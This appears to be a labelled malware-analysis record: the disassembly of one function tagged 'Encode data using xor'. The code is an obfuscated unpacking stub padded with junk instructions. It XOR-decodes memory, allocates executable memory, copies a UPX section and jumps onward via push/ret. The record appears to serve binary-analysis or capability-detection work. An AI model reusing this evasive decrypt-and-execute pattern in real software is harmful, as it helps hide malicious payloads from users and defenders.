Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xfe7dc16e
sub ecx, ebx
not ebx
add ebx, ebx
popal
sub ecx, ebx
sub ebx, ecx
add ecx, ecx
mov ecx, 0
mov eax, ebx
or esi, edi
not esi
mov edx, eax
inc edi
sub esi, 1
mov esi, 0x4c1e4a62
mov ebx, edx
add edi, 0x83cec9ed
sub edi, 0x386b79ec
and esi, edi
inc ecx
mov esi, edi
and edi, esi
or edi, edi
cmp ecx, 0x1004a5b
jne 0xa789c4
or edi, esi
dec edi
add ebx, 0x24439c3f
mov ecx, ebx
mov edi, 0xa78796
add eax, 0x3db36f53
add eax, esi
not ebx
mov ecx, 0xa7898a
dec esi
add eax, eax
not ebx
mov edx, dword [edi]
mov esi, 0x703503d3
mov esi, 0xa313c431
not ebx
and edx, 0xff
and eax, eax
not esi
xor dword [ecx], edx
and esi, esi
and eax, ebx
inc ecx
dec eax
mov esi, ebx
mov ebx, 0x1ef60fe9
inc edi
add eax, esi
mov eax, 0xa3544162
cmp ecx, entry0
jl 0xa78a1f
sub esi, ebx
and ebx, eax
not eax
mov esi, ebx
or ebx, esi
mov ecx, 0xefd19873
sub ecx, ebx
mov ebx, 0x343c1a8d
mov edx, 0xa7898e
not edi
or edi, esi
or ebx, ebx
mov edx, dword [edx]
dec ecx
mov ebx, 0x7b4cf937
add ebx, 0x2374c778
mov edx, dword [edx]
dec ebx
mov esi, 0x4043fd14
push edx
sub edi, 0x38024863
sub ebx, esi
mov edx, 0xa7898a
inc edi
sub edi, 0xa1e188f6
mov edx, dword [edx]
add edi, ecx
add ecx, 1
not ecx
mov edx, dword [edx]
or ecx, ecx
mov edi, 0xb7b8e908
push 0xa78992
or ebx, edi
mov edi, 0x900b60b1
or esi, edi
call edx
mov edi, 0xead2cbf1
mov ecx, 0xfb3e6112
mov edx, dword [esp]
add esp, 4
or ecx, ecx
inc ebx
mov esi, 0xe5614743
push 0xa7899f
dec edi
sub ecx, 0xacb3a248
not esi
push eax
sub edi, 1
sub esi, 1
sub edi, 0x4e62c839
call edx
and edi, edi
add esi, 0x7865d16d
push 0x40
and ebx, edi
or esi, ecx
sub esp, 4
mov dword [esp], 0x3000
inc esi
add edi, ecx
push 0x20000bb2
add ecx, ebx
or esi, ebx
push 0
not ecx
dec ebx
call eax
mov esi, 0x8fc28d45
or esi, ecx
sub edi, ebx
add eax, 0x20000b25
inc ecx
not ecx
add esi, 0xa8c33ee5
mov edx, 0xb12a88e5
add edi, 0xa99c000d
mov ebx, edi
add ebx, 1
mov dword [eax], edx
mov ebx, 0xef508b1a
dec esi
mov edx, dword [eax]
not ebx
or edi, esi
cmp edx, 0xb12a88e5
je 0xa78b7f
mov eax, 0
mov dword [eax], ebx
inc edi
add esi, ecx
sub edi, 1
not ebx
inc ecx
add esi, 0xdec0e4af
sub ebx, ecx
or ebx, ebx
sub ebx, ecx
mov edi, section.UPX1
mov ecx, 0xc7a0bad7
and ebx, ebx
mov eax, 0xa78795
not ecx
add ecx, 1
mov esi, 0
mov ebx, 0xf35c4ccc
or ebx, ebx
mov ebx, 0xc7dffd9c
mov edx, 0xa78796
sub ecx, ebx
sub ecx, ebx
inc ecx
lea edx, [esi + edx]
not ebx
mov ebx, ecx
inc ecx
mov edx, dword [edx]
add ebx, ecx
and ecx, ebx
inc ecx
and edx, 0xff
or ecx, ebx
add ebx, 0x9b3e29b5
inc esi
mov ebx, 0x57148ed3
mov ecx, 0xbaf02f2b
cmp esi, 0x1f4
jne 0xa78c00
mov esi, 0
inc ebx
sub ecx, ebx
add ebx, ecx
sub ebx, 0x3a895c7f
xor dword [edi], edx
dec ebx
and ecx, ebx
add edi, 2
sub ebx, ecx
sub ecx, ebx
cmp edi, eax
jl 0xa78bc1
add ebx, ecx
or ebx, ebx
not ecx
and ebx, ecx
sub ecx, ebx
add ebx, 0x85471ddc
mov edi, section.UPX1
and ecx, eax
add ecx, 0x134b0b3d
add eax, 0xf6a30a51
mov esi, section.UPX1
add ecx, 0xa39c6e89
dec eax
add ecx, 1
mov ebx, 0xa78795
inc ecx
add ecx, 0x3af620b9
mov edx, 0
add eax, 1
or ecx, ecx
sub eax, 1
mov dl, byte [esi]
or eax, ecx
add eax, eax
mov ecx, 0xa4cca450
mov byte [edi], dl
add ecx, 0xd4d7a50
add ecx, 0x76fc6665
inc edi
dec ecx
sub ecx, 1
add esi, 2
mov eax, 0x543e8999
mov eax, ecx
cmp esi, ebx
jle 0xa78c76
sub ecx, 1
sub ecx, 0x45b2a32e
inc ebx
not ebx
push 0x8dc6a0
sub ebx, 0x2fb4a508
not ebx
ret